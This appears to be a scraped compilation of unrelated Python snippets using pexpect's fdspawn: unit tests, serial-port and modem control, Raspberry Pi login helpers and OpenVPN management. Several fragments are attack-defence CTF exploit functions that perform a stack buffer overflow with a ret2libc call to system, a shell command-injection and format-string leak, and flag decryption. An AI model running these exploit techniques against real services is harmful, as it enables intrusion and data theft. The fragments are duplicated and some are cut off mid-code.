def test_fileobj(self): f = open('TESTDATA.txt', 'r') s = fdpexpect.fdspawn(f) # Should get the fileno from the file handle s.expect('2') s.close() assert not s.isalive() s.close() # Smoketest - should be able to call this again
def _get_exp(self): self.log("create fdspawn object") end_time = time.time() + self.first_prompt_timeout while time.time() < end_time: self.log("try creating fdspawn object") try: spawn = fdpexpect.fdspawn(os.open(self.port, os.O_RDWR|os.O_NONBLOCK|os.O_NOCTTY)) self.log("sendline") spawn.sendline() self.log("expect prompt or login string") result = spawn.expect([self.prompt, "(?i)login: "******"got ({}) with capture: '{}'".format( result, str(spawn.after), )) if result == 1: self.fail = True self.log("because not logged in yet, do that") spawn.sendline(self.user) self.log("expect password") spawn.expect("(?i)password: "******"send pw") spawn.sendline(self.pw) self.log("expect prompt") spawn.expect(self.prompt) return spawn except (pexpect.EOF, pexpect.TIMEOUT) as e: self.log("wait a little before retry creating pxssh object") time.sleep(3) raise CantCreateConnException("tried to reach {} for '{}' seconds".format( self.target, self.first_prompt_timeout))
def exploit(ip, port, flag_id): # Open connection sock = socket.create_connection((ip, port)) conn = fdpexpect.fdspawn(sock.fileno()) # Create session conn.expect(SESSION_PROMPT) conn.expect(PROMPT) conn.sendline("S") conn.expect(PROMPT) # Send th exploit firmware fortran_write(conn, EXPLOIT % flag_id.encode('hex')) # Compile and run the exploit firmware conn.expect(UPLOADED_PROMPT) filename = conn.match.group(1) conn.sendline("compile %s" % filename) conn.expect(PROMPT) conn.sendline("run %s" % filename) # Compile and run the flag firmware conn.expect(PROMPT) conn.sendline("compile %s" % flag_id) conn.expect(PROMPT) conn.sendline("run %s" % flag_id) # Return the flag conn.expect("'data': '(FLG\w+)'") return conn.match.group(1)
def analyze(port, filename): print "Analyzing port %s" % port child = fdpexpect.fdspawn( os.open(port, os.O_RDWR | os.O_NONBLOCK | os.O_NOCTTY)) child.sendline("") child.expect("pi@raspberrypi") child.sendline("python ~/Documents/RaspberryFarm/seedParser.py -i %s" % filename) try: first = True while (True): out = child.expect(["Done searching!", "Output:"], timeout=120) # The first print will be crap, so we'll skip it if not first: print port, child.before.rstrip() else: first = False if (out == 0): break except: # send CTRL + C if we get an error child.sendline("\x03") child.close()
def test_fd_isalive(self): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.host, self.port)) session = fdpexpect.fdspawn(sock.fileno(), timeout=10) assert session.isalive() sock.close() assert not session.isalive(), "Should not be alive after close()"
def set_speed(device): '''set some registers''' port = serial.Serial(device, opts.baudrate, timeout=0, dsrdtr=opts.dsrdtr, rtscts=opts.rtscts, xonxoff=opts.xonxoff) ser = fdpexpect.fdspawn(port.fileno(), logfile=sys.stdout) ser.send('+++') time.sleep(1) ser.send('\r\nATI\r\n') try: ser.expect(['OK', 'SiK .* on HM-TRP'], timeout=2) except fdpexpect.TIMEOUT: print("timeout") return for cmd in opts.cmd: ser.send('%s\r\n' % cmd) ser.expect('OK') if opts.write: ser.send('AT&W\r\n') ser.expect('OK') if opts.reset: ser.send('ATZ\r\n') else: ser.send('ATO\r\n') ser.expect('OK') time.sleep(1) ser.read_nonblocking(300) port.close()
def analyze(port, filename): print "Analyzing port %s" % port child = fdpexpect.fdspawn(os.open(port, os.O_RDWR | os.O_NONBLOCK | os.O_NOCTTY)) child.sendline("") child.expect("pi@raspberrypi") child.sendline("python ~/Documents/RaspberryFarm/seedParser.py -i %s" % filename) try: first = True while (True): out = child.expect(["Done searching!", "Output:"], timeout=120) # The first print will be crap, so we'll skip it if not first: print port, child.before.rstrip() else: first = False if (out == 0): break except: # send CTRL + C if we get an error child.sendline("\x03") child.close()
def set_speed(device): '''set air speed''' port = serial.Serial(device, opts.baudrate, timeout=0, dsrdtr=opts.dsrdtr, rtscts=opts.rtscts, xonxoff=opts.xonxoff) ser = fdpexpect.fdspawn(port.fileno(), logfile=sys.stdout) ser.send('+++') time.sleep(1) ser.send('\r\nATI\r\n') try: ser.expect(['OK', 'SiK .* on HM-TRP'], timeout=2) except fdpexpect.TIMEOUT: print("timeout") return ser.send('ATS2=%u\r\n' % opts.speed) ser.expect('OK') ser.send('AT&W\r\n') ser.expect('OK') ser.send('ATI5\r\n') time.sleep(0.2) ser.read_nonblocking(100) ser.send('ATZ\r\n') time.sleep(1) port.close()
def _get_exp(self): self.log("create fdspawn object") end_time = time.time() + self.first_prompt_timeout while time.time() < end_time: self.log("try creating fdspawn object") try: spawn = fdpexpect.fdspawn(os.open(self.port, os.O_RDWR|os.O_NONBLOCK|os.O_NOCTTY)) self.log("sendline") spawn.sendline() #PWR: self.log("expect prompt or login string") self.log("expect prompt '{}' or login string".format(self.prompt)) result = spawn.expect(["(?i)"+self.prompt, "(?i)login: "******"(?i)User:"******"got ({}) with capture: '{}'".format( result, str(spawn.after), )) #if result == 1: if result >= 1: #more than one login pattern self.fail = True self.log("because not logged in yet, do that") spawn.sendline(self.user) self.log("expect password") spawn.expect(["(?i)password: "******"Password:"******"send pw") spawn.sendline(self.pw) self.log("expect prompt") spawn.expect("(?i)"+self.prompt) return spawn except (pexpect.EOF, pexpect.TIMEOUT) as e: self.log("wait a little before retry creating pxssh object") time.sleep(3) raise CantCreateConnException("tried to reach {} for '{}' seconds".format( self.target, self.first_prompt_timeout))
def test_fd_isalive_poll(self): sock = socket.socket(self.af, socket.SOCK_STREAM) sock.connect((self.host, self.port)) session = fdpexpect.fdspawn(sock.fileno(), timeout=10, use_poll=True) assert session.isalive() sock.close() assert not session.isalive(), "Should not be alive after close()"
def send_cmd(expt, timeout, cmd=None): ser = __args.ser ### add delay to make sure command is send correctly time.sleep(0.01) ser.reset_input_buffer() #ser.reset_output_buffer() uart = fdpexpect.fdspawn(ser.fileno()) if type(cmd) is str: uart.send(cmd + "\r\n") pr_debug("send command: %s" % cmd) ret = uart.expect([expt, pexpect.TIMEOUT], timeout=timeout) if ret == 0: pr_debug("found match: %s" % expt) write_log(uart.before) write_log(uart.after) elif ret == 1: write_log(uart.before) pr_error("") pr_error("Fail to get expected pattern") if cmd: pr_error("command: %s" % cmd) pr_err_exit("exptected pattern: %s" % expt)
def __init__(self, dongle): print("Init Dongle") self.serial = Serial(dongle['port'], baudrate=dongle['speed'], timeout=5) self.exp = fdpexpect.fdspawn(self.serial.fd) self.initDongle()
def show_rssi(device): '''show RSSI''' port = serial.Serial(device, opts.baudrate, timeout=0, dsrdtr=opts.dsrdtr, rtscts=opts.rtscts, xonxoff=opts.xonxoff) ser = fdpexpect.fdspawn(port.fileno(), logfile=sys.stdout) ser.send('+++') time.sleep(1) ser.send('\r\nATI\r\n') try: ser.expect(['OK', 'SiK .* on HM-TRP'], timeout=2) except fdpexpect.TIMEOUT: print("timeout") return ser.send('AT&T=RSSI\r\n') time.sleep(1) ser.read_nonblocking(300) ser.send('AT&T\r\n') time.sleep(0.5) ser.send('ATO\r\n') ser.read_nonblocking(300) print("") time.sleep(1) port.close()
def fd_spawn(self, fd, timeout: Optional[timedelta] = timedelta(seconds=30), maxread: int = 2000, searchwindowsize: Optional[int] = None, logfile: Optional[IO] = None, encoding: Optional[str] = 'utf-8', codec_errors: Any = 'strict', use_poll: bool = False): '''This is like `Spawn` but allows you to supply your own open file descriptor. For example, you could use it to read through a file looking for patterns, or to control a modem or serial device. This takes a file descriptor (an int) or an object that support the fileno() method (returning an int). All Python file-like objects support fileno(). ''' encoding = self._optional_arg_conversion(encoding) timeout = self._timearg_to_seconds(timeout) return self._spawn( lambda: fdpexpect.fdspawn(fd=fd, args=None, timeout=timeout, maxread=maxread, searchwindowsize=searchwindowsize, logfile=logfile, encoding=encoding, codec_errors=codec_errors, use_poll=use_poll))
def login(port, user="******", password="******", baudrate=115200): timeout = 5 # child = pexpect.spawn("screen %s %d" % (port, baudrate)) child = fdpexpect.fdspawn( os.open(port, os.O_RDWR | os.O_NONBLOCK | os.O_NOCTTY)) # Needed to start the whole buffering thing, and to be able to see output on # the screen child.sendline("") # We see if we got the bash prompt instead of the login prompt. If we get # the bash prompt, we're already logged in. try: child.expect("%s@raspberrypi" % user, timeout=timeout) print "Already logged in, returning!" return child except: pass # try to log in 3 times for i in range(3): try: child.expect("raspberrypi login:"******"Password:"******"Failed to log in, trying again ..." continue raise Exception("Something is probably wrong with the raspberry pi?")
def login(port, user="******", password="******", baudrate=115200): timeout = 5 # child = pexpect.spawn("screen %s %d" % (port, baudrate)) child = fdpexpect.fdspawn(os.open(port, os.O_RDWR | os.O_NONBLOCK | os.O_NOCTTY)) # Needed to start the whole buffering thing, and to be able to see output on # the screen child.sendline("") # We see if we got the bash prompt instead of the login prompt. If we get # the bash prompt, we're already logged in. try: child.expect("%s@raspberrypi" % user, timeout=timeout) print "Already logged in, returning!" return child except: pass # try to log in 3 times for i in range(3): try: child.expect("raspberrypi login:"******"Password:"******"Failed to log in, trying again ..." continue raise Exception("Something is probably wrong with the raspberry pi?")
def test_maxread(self): fd = os.open('TESTDATA.txt', os.O_RDONLY) s = fdpexpect.fdspawn(fd) s.maxread = 100 s.expect('2') s.expect('This is the end of test data:') s.expect(pexpect.EOF) self.assertEqual(s.before, b' END\n')
def test_fileobj(self): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.host, self.port)) session = fdpexpect.fdspawn(sock, timeout=10) # Should get the fileno from the socket session.expect(self.prompt1) session.close() assert not session.isalive() session.close() # Smoketest - should be able to call this again
def test_maxread (self): fd = os.open ('TESTDATA.txt', os.O_RDONLY) s = fdpexpect.fdspawn (fd) s.maxread = 100 s.expect('2') s.expect ('This is the end of test data:') s.expect (pexpect.EOF) assert s.before == ' END\n'
def test_maxread(self): fd = os.open("TESTDATA.txt", os.O_RDONLY) s = fdpexpect.fdspawn(fd) s.maxread = 100 s.expect("2") s.expect("This is the end of test data:") s.expect(pexpect.EOF) self.assertEqual(s.before, b" END\n")
def exploit(ip, port, flag_id): # Open connection sock = socket.create_connection((ip, port)) conn = fdpexpect.fdspawn(sock.fileno(), timeout=3) # Register the user conn.expect(__EXP_USER_MENU__) conn.sendline("c") conn.sendline(_USER_) conn.sendline(_PASS_) # Start a new game and fail it #conn.expect(__EXP_GAME_MENU__) conn.sendline("c") conn.sendline("0") conn.send("a\n" * 6) # Check whether a 'z' was in the word ret = conn.expect([__EXP_FOUND_LETTER__, __EXP_END_GAME__]) if ret == 0: conn.sendline("a") # Overflow the buffer conn.expect(__EXP_REPLAY_MENU__) conn.sendline("A" * __BUFFER_SIZE__ + __MEMORY_INFO_ADDR__ + __RETURN_ADDR__) conn.expect(__EXP_MEMORY_INFO_STACK__) stack = int(conn.read(8), 16) print "Stack address: 0x%x" % stack # Get printf address conn.expect(__EXP_REPLAY_MENU__) conn.send("A" * __BUFFER_SIZE__ + __PRINTF_ADDR__) conn.sendline(__RETURN_ADDR__ + __FORMAT_STRING_ADDR__ + __PRINTF_RELOC_ADDR__) conn.expect(__EXP_MEMORY_INFO_PRINTF__) printf_addr = int(conn.read(4)[::-1].encode('hex'), 16) print "Printf address: 0x%x" % printf_addr # Address where to stack arguments for the exec function # 0x10 -> offset of the variable used in fcn.print_memory_info # 0x10 -> to compensate the 4 ret instructions # 0x0c -> offset to push system args cat_addr = stack + 0x10 + 0x10 + 0x0c exec_addr = printf_addr - __EXEC_OFFSET__ print "exec address: 0x%x" % exec_addr payld = "A" * __BUFFER_SIZE__ + pack('<I', exec_addr) payld += __RETURN_ADDR__ + pack('<I', cat_addr) # The paylaod can't be longer than 0x3c characters payld += ("cat %s" % flag_id)[:0x3c - len(payld) - 2] + '*\0' # Execute system('cat flag_id') conn.expect(__EXP_REPLAY_MENU__) conn.sendline(payld) conn.expect('\|(FLG.{13})$') flag = conn.match.group(1) return flag
def _get_status_text(self, fd): child = fdpexpect.fdspawn(fd) child.expect('>INFO:OpenVPN') child.sendline('status') child.expect('END') data = child.before.strip() child.sendline('exit') child.close() return data
def test_fileobj(self): sock = socket.socket(self.af, socket.SOCK_STREAM) sock.connect((self.host, self.port)) session = fdpexpect.fdspawn( sock, timeout=10) # Should get the fileno from the socket session.expect(self.prompt1) session.close() assert not session.isalive() session.close() # Smoketest - should be able to call this again
def initialize(self, sock, zmq_sock, req_status): self.socket = sock self.expect = None self.read_sock = self.expect_windows if not WINDOWS: self.read_sock = self.read_posix self.expect = fdspawn(self.socket) self.zmq_sock = zmq_sock self.req_status = req_status
def _open(self): """Connect to serial device and create pexpect interface.""" self._fd = os.open(self._pty_path, os.O_RDWR | os.O_NONBLOCK) self._child = fdpexpect.fdspawn(self._fd) # pexpect dafaults to a 100ms delay before sending characters, to # work around race conditions in ssh. We don't need this feature # so we'll change delaybeforesend from 0.1 to 0.001 to speed things up. if self._fast: self._child.delaybeforesend = 0.001
def initialize(self, sock, zmq_sock, req_status): self.socket = sock self.expect = None self.read_sock = self.expect_windows if not os.name == 'nt': self.read_sock = self.read_posix self.expect = fdspawn(self.socket) self.zmq_sock = zmq_sock self.req_status = req_status
def exploit(ip, port, flag_id): # Open connection sock = socket.create_connection((ip, port)) conn = fdpexpect.fdspawn(sock.fileno(), timeout=3) # Register the user conn.expect(__EXP_USER_MENU__) conn.sendline("c") conn.sendline(_USER_) conn.sendline(_PASS_) # Start a new game and fail it #conn.expect(__EXP_GAME_MENU__) conn.sendline("c") conn.sendline("0") conn.send("a\n"*6) # Check whether a 'z' was in the word ret = conn.expect([__EXP_FOUND_LETTER__, __EXP_END_GAME__]) if ret == 0: conn.sendline("a") # Overflow the buffer conn.expect(__EXP_REPLAY_MENU__) conn.sendline("A"*__BUFFER_SIZE__+__MEMORY_INFO_ADDR__+__RETURN_ADDR__) conn.expect(__EXP_MEMORY_INFO_STACK__) stack = int(conn.read(8), 16) print "Stack address: 0x%x" % stack # Get printf address conn.expect(__EXP_REPLAY_MENU__) conn.send("A"*__BUFFER_SIZE__+__PRINTF_ADDR__) conn.sendline(__RETURN_ADDR__+__FORMAT_STRING_ADDR__+__PRINTF_RELOC_ADDR__) conn.expect(__EXP_MEMORY_INFO_PRINTF__) printf_addr = int(conn.read(4)[::-1].encode('hex'), 16) print "Printf address: 0x%x" % printf_addr # Address where to stack arguments for the exec function # 0x10 -> offset of the variable used in fcn.print_memory_info # 0x10 -> to compensate the 4 ret instructions # 0x0c -> offset to push system args cat_addr = stack + 0x10 + 0x10 + 0x0c exec_addr = printf_addr - __EXEC_OFFSET__ print "exec address: 0x%x" % exec_addr payld = "A" * __BUFFER_SIZE__ + pack('<I', exec_addr) payld += __RETURN_ADDR__ + pack('<I', cat_addr) # The paylaod can't be longer than 0x3c characters payld += ("cat %s" % flag_id)[: 0x3c - len(payld) - 2] + '*\0' # Execute system('cat flag_id') conn.expect(__EXP_REPLAY_MENU__) conn.sendline(payld) conn.expect('\|(FLG.{13})$') flag = conn.match.group(1) return flag
def login(port, user="******", password="******", baudrate=115200): timeout = 5 # child = pexpect.spawn("screen %s %d" % (port, baudrate)) #child = fdpexpect.fdspawn(os.open(port, os.O_RDWR | os.O_NOCTTY)) print port ser = serial.Serial(port, 115200) ser.flushInput() ser.flushOutput() ser.write("\n") ser.flush() time.sleep(1) print ser.inWaiting() ser.write("pi\n"); ser.flush(); time.sleep(1); ser.write("raspberry\n"); ser.flush(); time.sleep(1); #ser.reset_input_buffer() #ser.reset_output_buffer() child = fdpexpect.fdspawn(ser.fileno()) #child = fdpexpect.fdspawn(ser) print "Spawned" # Needed to start the whole buffering thing, and to be able to see output on # the screen child.sendline("") # We see if we got the bash prompt instead of the login prompt. If we get # the bash prompt, we're already logged in. with fuckit: child.expect("%s@raspberrypi" % user, timeout=timeout) print "Already logged in, returning!" return child # try to log in 3 times for i in range(3): try: child.expect("raspberrypi login:"******"Password:"******"Failed to log in, trying again ..." continue raise Exception("Something is probably wrong with the raspberry pi?")
def __init__(self, socket, timeout=30, logger=None, me='Client', you='Server'): self.socket = socket self.stream = fdpexpect.fdspawn(socket, timeout=timeout) self.status = INITIALIZED self.log = logger or logging.getLogger(__name__) self.me, self.you = me, you
def _kick_user(self, fd, cname=None, source_ipport=None): child = fdpexpect.fdspawn(fd) child.expect('>INFO:OpenVPN') if cname: child.sendline('kill %s' %cname) elif source_ipport: child.sendline('kill %s' %source_ipport) else: return False index = child.expect(['SUCCESS', 'ERROR']) child.sendline('exit') child.close() return index == 0
def _open(self): """Connect to serial device and create pexpect interface. Note that this should be called with the 'with-syntax' since it will handle freezing and thawing any other terminals that are using this PTY as well as closing the connection when finished. """ if self._cmd_iface: try: self._interface.get_command_lock() self._fd = os.open(self._pty_path, os.O_RDWR | os.O_NONBLOCK) try: self._child = fdpexpect.fdspawn(self._fd) # pexpect dafaults to a 100ms delay before sending characters, to # work around race conditions in ssh. We don't need this feature # so we'll change delaybeforesend from 0.1 to 0.001 # to speed things up. self._child.delaybeforesend = 0.001 yield finally: self._close() finally: self._interface.release_command_lock() else: # Freeze any terminals that are using this PTY, otherwise when we check # for the regex matches, it will fail with a 'resource temporarily # unavailable' error. with servo.terminal_freezer.TerminalFreezer(self._pty_path): self._fd = os.open(self._pty_path, os.O_RDWR | os.O_NONBLOCK) try: self._child = fdpexpect.fdspawn(self._fd) # pexpect dafaults to a 100ms delay before sending characters, to # work around race conditions in ssh. We don't need this feature # so we'll change delaybeforesend from 0.1 to 0.001 # to speed things up. self._child.delaybeforesend = 0.001 yield finally: self._close()
def _open(self): """Connect to serial device and create pexpect interface.""" assert self._fd is None self._fd = os.open(self._pty_path, os.O_RDWR | os.O_NONBLOCK) # Don't allow forked processes to access. fcntl.fcntl(self._fd, fcntl.F_SETFD, fcntl.fcntl(self._fd, fcntl.F_GETFD) | fcntl.FD_CLOEXEC) self._child = fdpexpect.fdspawn(self._fd) # pexpect defaults to a 100ms delay before sending characters, to # work around race conditions in ssh. We don't need this feature # so we'll change delaybeforesend from 0.1 to 0.001 to speed things up. if self._fast: self._child.delaybeforesend = 0.001
def test_socket_with_write(self): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.host, self.port)) session = fdpexpect.fdspawn(sock.fileno(), timeout=10) session.expect(self.prompt1) self.assertEqual(session.before, self.motd) session.write(self.enter) session.expect(self.prompt2) session.write(self.enter) session.expect(self.prompt3) session.write(self.exit) session.expect(pexpect.EOF) self.assertEqual(session.before, b"")
def test_socket_with_write(self): sock = socket.socket(self.af, socket.SOCK_STREAM) sock.connect((self.host, self.port)) session = fdpexpect.fdspawn(sock.fileno(), timeout=10) session.expect(self.prompt1) self.assertEqual(session.before, self.motd) session.write(self.enter) session.expect(self.prompt2) session.write(self.enter) session.expect(self.prompt3) session.write(self.exit) session.expect(pexpect.EOF) self.assertEqual(session.before, b"")
def ExecuteCmd(os_cmd, use_shell=False): """Execute os command and log results.""" print "Executing: {0}".format(os_cmd if use_shell else ' '.join(os_cmd)) process = None try: process = subprocess.Popen(os_cmd, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=0, shell=use_shell) stdout_stream = fdpexpect.fdspawn(process.stdout) stderr_stream = fdpexpect.fdspawn(process.stderr) # process.returncode is None until the subprocess completes. Then, it gets # filled in with the subprocess exit code. while process.returncode is None: PipePexpectStreamNonBlocking(stdout_stream, sys.stdout) PipePexpectStreamNonBlocking(stderr_stream, sys.stderr) process.poll() PipePexpectStreamNonBlocking(stdout_stream, sys.stdout) PipePexpectStreamNonBlocking(stderr_stream, sys.stderr) if process.returncode: # Assume a non-zero exit code means error: return "Unable to execute %s" % os_cmd return process.returncode except Exception, e: print "FAILED: %s" % e.__str__() raise OsCommandError()
def initialize(self, fd, zmq_sock, req_status, expectable=False): self.fd = fd self.expect = None self.expectable = expectable logger.info('Reading thread initialized') self.read_incoming = self.read_posix self.expect = self.fd if not expectable: if os.name == 'nt': self.read_incoming = self.expect_windows else: self.expect = fdspawn(self.fd) self.zmq_sock = zmq_sock self.req_status = req_status
def test_maxread(self): sock = socket.socket(self.af, socket.SOCK_STREAM) sock.connect((self.host, self.port)) session = fdpexpect.fdspawn(sock.fileno(), timeout=10) session.maxread = 1100 session.expect(self.prompt1) self.assertEqual(session.before, self.motd) session.send(self.enter) session.expect(self.prompt2) session.send(self.enter) session.expect(self.prompt3) session.send(self.exit) session.expect(pexpect.EOF) self.assertEqual(session.before, b'')
class SerialConnection(object): ''' Class which manages a serial connection. Once connected, it can be used to send and receive commands ''' def __init__(self,login=LOGIN, password=PASSWORD, serialDeviceName=SERIAL_DEVICE_NAME): ''' Constructor :param login: remote login :param password: remote password ''' # if serialDeviceName is None: # self.usb = USB() # device = self.usb.find_device("serial-gadget") # pass # # usb1.USBContext.getByVendorIDAndProductID(self, vendor_id, product_id, skip_on_access_error, skip_on_error) self.login = login; self.password = password; # self.serialDeviceName = "/dev/tty.usbmodem1421" self.serialDeviceName = serialDeviceName self.timeout = TIMEOUT #how long commands should wait for until timing out. self.loggedIn = False self.tty = None self.ser = None def __del__(self): self.close() def __connectUsingSerial(self): try: print "connecting to " + self.serialDeviceName self.ser = serial.Serial(port=self.serialDeviceName, baudrate=BAUD, timeout=self.timeout) # open the serial port. Must make a class member so it won't get cleaned up except Exception, e: if e.errno == 2: print ("Could not open serial device: " + self.serialDeviceName) else: print (e) self.ser = None return False try: self.tty = fdpexpect.fdspawn(self.ser) # , 'wb', timeout=50) assert (self.tty.isalive()) print "have a tty" except Exception, e: self.ser = None self.tty = None print ("Could not open serial device [2]: " + self.serialDeviceName) return False
def send(input, port): child = fdpexpect.fdspawn(os.open(port, os.O_RDWR | os.O_NONBLOCK | os.O_NOCTTY)) child.sendline("python ~/Documents/RaspberryFarm/writeFile.py -o %s -n %d" % (input, os.path.getsize(input))) child.expect("Ready", timeout = 10) print "sending file %s to %s" % (input, port) val = open(input, "r").read() child.send(val) # for line in val.splitlines(): # child.sendline(line) child.close()
def socket_fn(self, timed_out, all_read): result = 0 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.host, self.port)) session = fdpexpect.fdspawn(sock, timeout=10) # Get all data from server session.read_nonblocking(size=4096) all_read.set() # This read should timeout session.read_nonblocking(size=4096) except pexpect.TIMEOUT: timed_out.set() result = errno.ETIMEDOUT exit(result)
def socket_fn(self, timed_out, all_read): result = 0 try: sock = socket.socket(self.af, socket.SOCK_STREAM) sock.connect((self.host, self.port)) session = fdpexpect.fdspawn(sock, timeout=10) # Get all data from server session.read_nonblocking(size=4096) all_read.set() # This read should timeout session.read_nonblocking(size=4096) except pexpect.TIMEOUT: timed_out.set() result = errno.ETIMEDOUT exit(result)
def sleepTest(port): child = fdpexpect.fdspawn(os.open(port, os.O_RDWR | os.O_NONBLOCK | os.O_NOCTTY)) child.sendline("") child.expect("pi@raspberrypi") child.sendline("python ~/Documents/outputGenerator.py") while (True): out = child.expect(["pi@raspberrypi", "Output:"]) print port, child.before.rstrip() if (out == 0): break child.close()
def sleepTest(port): child = fdpexpect.fdspawn( os.open(port, os.O_RDWR | os.O_NONBLOCK | os.O_NOCTTY)) child.sendline("") child.expect("pi@raspberrypi") child.sendline("python ~/Documents/outputGenerator.py") while (True): out = child.expect(["pi@raspberrypi", "Output:"]) print port, child.before.rstrip() if (out == 0): break child.close()
def __init__(self, device, baudrate=57600, debug=False, dsrdtr=False, rtscts=False, xonxoff=False): # Initialize object data members self.is_command = False # Track if we've entered command mode self.is_remote = False # Track if operating on remote radio self.read_timeout = 5 # Max time to wait for data logfile=None if debug: logfile=sys.stdout # Initialize the serial connection # Note: we pass the buck on raised exceptions self.port = serial.Serial(device, baudrate=baudrate, timeout=0, dsrdtr=dsrdtr, rtscts=rtscts, xonxoff=xonxoff) self.ser = fdpexpect.fdspawn(self.port.fileno(), logfile=logfile)
def __init__(self, port="/dev/ttyUSB0", ser_timeout=1.0): self.verbose = 0 self.ser = serial.Serial(port, baudrate=9600, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, rtscts=False, dsrdtr=False, xonxoff=False, timeout=ser_timeout, # Blocking writes writeTimeout=None) self.ser.flushInput() self.ser.flushOutput() self.mode = None self.e = fdpexpect.fdspawn(self.ser.fileno()) # ESC to abort anything in progress self.send('\x1b') self.mode_prog()
def exploit(ip, port, flag_id): frame_search = flag_id[:6] word_search = flag_id[6:] # Open connection sock = socket.create_connection((ip, port)) conn = fdpexpect.fdspawn(sock.fileno()) # Enter translation mode conn.expect(DEFAULT_PROMPT) conn.sendline(TRANSLATE_CMD) conn.expect(TRANSLATE_PROMPT) # Get the encrypted flag conn.sendline("$(grep %s info/Fahrzeugnummern.csv)" % frame_search) conn.expect(TRANSLATE_PROMPT) flags = re.findall( r'^(?:Das Wort )?([0-9A-Z]+);([a-zA-Z0-9+/]+)$', conn.before, re.M ) # Get the bavarian word conn.sendline("%c" * MAX_ARG_LEN) conn.expect(TRANSLATE_PROMPT) passwords = re.findall( r'^([a-zA-Z0-9]+);[a-z]+%s' % (word_search[::-1],), conn.before, re.M ) sock.close() # Decrypt the flag for p in passwords: for frame, flag in flags: openssl = subprocess.Popen( ("openssl enc -d -aes-256-cbc -a -k %s" % p[::-1]).split(), stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE) dec = openssl.communicate(flag + "\n")[0] if dec.startswith('FLG'): print dec,
def launchjsb(self): opts = self.opts cmd = "JSBSim --realtime --suspend --nice --simulation-rate=%u --logdirectivefile=%s/fgout.xml --script=%s " % ( opts.rate, respath, respath + opts.script, ) print cmd jsb = pexpect.spawn(cmd, logfile=sys.stdout, timeout=10) jsb.delaybeforesend = 0 util.pexpect_autoclose(jsb) i = jsb.expect(["Successfully bound to socket for input on port (\d+)", "Could not bind to socket for input"]) if i == 1: print ("Failed to start JSBSim - is another copy running?") sys.exit(1) self.jsb = jsb jsb_out_address = interpret_address("127.0.0.1:%u" % int(jsb.match.group(1))) jsb.expect("Creating UDP socket on port (\d+)") jsb_in_address = interpret_address("127.0.0.1:%u" % int(jsb.match.group(1))) jsb.expect("Successfully connected to socket for output") jsb.expect("JSBSim Execution beginning") print ("JSBSim console on %s" % str(jsb_out_address)) jsb_out = socket.socket(socket.AF_INET, socket.SOCK_STREAM) jsb_out.connect(jsb_out_address) self.jsb_out = jsb_out jsb_console = fdpexpect.fdspawn(jsb_out.fileno(), logfile=sys.stdout) jsb_console.delaybeforesend = 0 self.jsb_console = jsb_console # setup input from jsbsim print ("JSBSim FG FDM input on %s" % str(jsb_in_address)) jsb_in = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) jsb_in.bind(jsb_in_address) jsb_in.setblocking(0) self.jsb_in = jsb_in
parser.add_argument( "serial_port", help="serial port device", default='/dev/ttyS0') parser.add_argument( "file", nargs='+', help="file", default=['switchtec_boot.pmc']) args = parser.parse_args() s = serial.Serial(port=args.serial_port, baudrate=args.baudrate, timeout=5) a = fdpexpect.fdspawn(s) def x_getc(size, timeout=5): #time.sleep(0.001) ret = s.read(size) #time.sleep(0.001) return ret or None def x_putc(data, timeout=5): time.sleep(0.001) ret = s.write(data) time.sleep(0.001) return ret or None cmd_init(a) cmd_run(a, 'version')
import socket import string from pexpect import fdpexpect import hashlib import random from itertools import islice def random_chars(size, chars=string.ascii_letters): selection = iter(lambda: random.choice(chars), object()) while True: yield ''.join(islice(selection, size)) if len(sys.argv) > 2: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], int(sys.argv[2]))) session = fdpexpect.fdspawn(s.fileno(), timeout=10) while True: e = session.expect(['Give me a string starting with (\w*), of length 15, such that its sha1 sum ends in (\w*)\.', 'STL{.*?}']) if e == 0: start = session.match.group(1) end = session.match.group(2) random_gen = random_chars(5) test = start.decode() + next(random_gen) while not hashlib.sha1(test.encode()).hexdigest().endswith(end.decode()): test = start.decode() + next(random_gen) session.send(test+'\n') else:
def test_fd (self): fd = os.open ('TESTDATA.txt', os.O_RDONLY) s = fdpexpect.fdspawn (fd) s.expect(b'This is the end of test data:') s.expect(pexpect.EOF) self.assertEqual(s.before, b' END\n')
def test_fd_isalive (self): fd = os.open ('TESTDATA.txt', os.O_RDONLY) s = fdpexpect.fdspawn (fd) assert s.isalive() os.close (fd) assert not s.isalive(), "Should not be alive after close()"
def test_fd_isatty (self): fd = os.open ('TESTDATA.txt', os.O_RDONLY) s = fdpexpect.fdspawn (fd) assert not s.isatty() #os.close(fd) s.close()
def spawn_port(port_name, baudrate=115200): global ser ser = serial.serial_for_url(port_name, baudrate=baudrate) return fdpexpect.fdspawn(ser, 'wb', timeout=0)
def test_not_int(self): with self.assertRaises(pexpect.ExceptionPexpect): session = fdpexpect.fdspawn("bogus", timeout=10)
def test_not_file_descriptor(self): with self.assertRaises(pexpect.ExceptionPexpect): session = fdpexpect.fdspawn(-1, timeout=10)
def test_timeout(self): with self.assertRaises(pexpect.TIMEOUT): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.host, self.port)) session = fdpexpect.fdspawn(sock, timeout=10) session.expect(b"Bogus response")